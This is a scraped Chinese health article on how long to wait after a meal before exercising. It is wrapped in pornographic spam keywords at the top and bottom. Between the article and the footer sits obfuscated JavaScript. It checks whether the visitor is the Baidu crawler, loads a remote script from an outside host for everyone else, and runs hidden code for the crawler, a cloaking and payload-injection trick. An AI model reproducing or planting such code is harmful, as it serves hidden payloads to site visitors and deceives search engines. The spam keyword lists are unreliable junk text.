久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

飯后多久可運動呢?

2017-04-15 09:58:51  來源:360常識網   熱度:
導語:在吃飯后,很多人都感覺到自己的肚子漲漲的,這個時候,我們就很想馬上去運動一下,消化一下,其實這樣子是不對的,吃飽后是不可以馬上就運

在吃飯后,很多人都感覺到自己的肚子漲漲的,這個時候,我們就很想馬上去運動一下,消化一下,其實這樣子是不對的,吃飽后是不可以馬上就運動的,大家在吃飽后要休息一段時間再進行運動。那么吃飽后要多久才可以運動呢,接下來讓小編為大家介紹有關于飯后多久可運動。

按運動強度來說,散步、走路、廣場舞、太極拳等輕度運動,飯后半小時至一個小時可以進行。慢跑、減肥操、騎自行車等中度運動,可在飯后一個小時至兩個小時進行。長跑、跳繩、踢足球、打籃球等高強度運動,宜在飯后兩小時至三小時再進行。

按用餐量來說,如果運動前的用餐量較大,并且吃的是以蛋白質和脂肪為主的食物,這些食物不好消化,最好在飯后兩個小時以上再運動。如果用餐量較少,并且食物以碳水化合物、蔬菜、水果或流食為主,吃飯與運動之間的間隔時間可以根據運動強度相對縮短。

飯后如何運動

飯后半個小時:在這半個校內,以休息為主,靜坐與家人朋友一起飯后的聊天,多聊些茶余飯后的開心的話題。既保持良好的心情,又保障了食物的最佳消化。

飯后1到1.5個小時:這個時候,食物的消化的最高峰基本過去了,一般的運動是沒有關系的。諸如快走、慢跑之類的運動都可以慢慢展開。俗話說“飯后走一走,活到九十九”,飯后散步能促進消化,但是劇烈運動還是要節制。

看了以上的有關于飯后多久可運動的相關知識,大家是不是都相應的了解了情況呢,其實在生活中我們運動是可以的,但是要把握一定的時機,不要在不對的時間進行運動,這樣對于我們的身體是非常不好,有可能會胃下垂等癥狀出現。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久成人国产精品 | 免费v片在线观看 | 亚洲免费一 | 超碰97在线免费 | 国产色在线 | 黄色一级片在线观看 | 中文字幕丝袜 | 欧美日韩亚洲视频 | 亚洲成人激情在线观看 | 国产视频亚洲精品 | 精品一区二区三区四区视频 | 亚洲国产精品99 | 国产一级淫片a级aaa | 日韩色影视 | 欧美日本国产欧美日本韩国99 | 日批免费网站 | 精品影院| 欧美日本亚洲 | 精品一区二区网站 | 仙踪林久久久久久久999 | 久久久精品 | 国产精品无码久久久久 | 成人在线视频观看 | 亚洲视频一区在线播放 | 你懂的在线网址 | 久久国产成人 | 亚洲一二三在线 | 日韩专区中文字幕 | 伊人免费视频二 | 精品国产乱码久久久久久1区2区 | 99久久精品免费 | 久久亚洲精品国产精品紫薇 | 日日草视频 | 精品在线看 | 一区二区在线看 | 国产一区二区三区四区五区加勒比 | 国产精品一区二区三区在线 | 黄色的网站在线 | 噜噜av| 麻豆视频国产 | 黄色av网站在线播放 |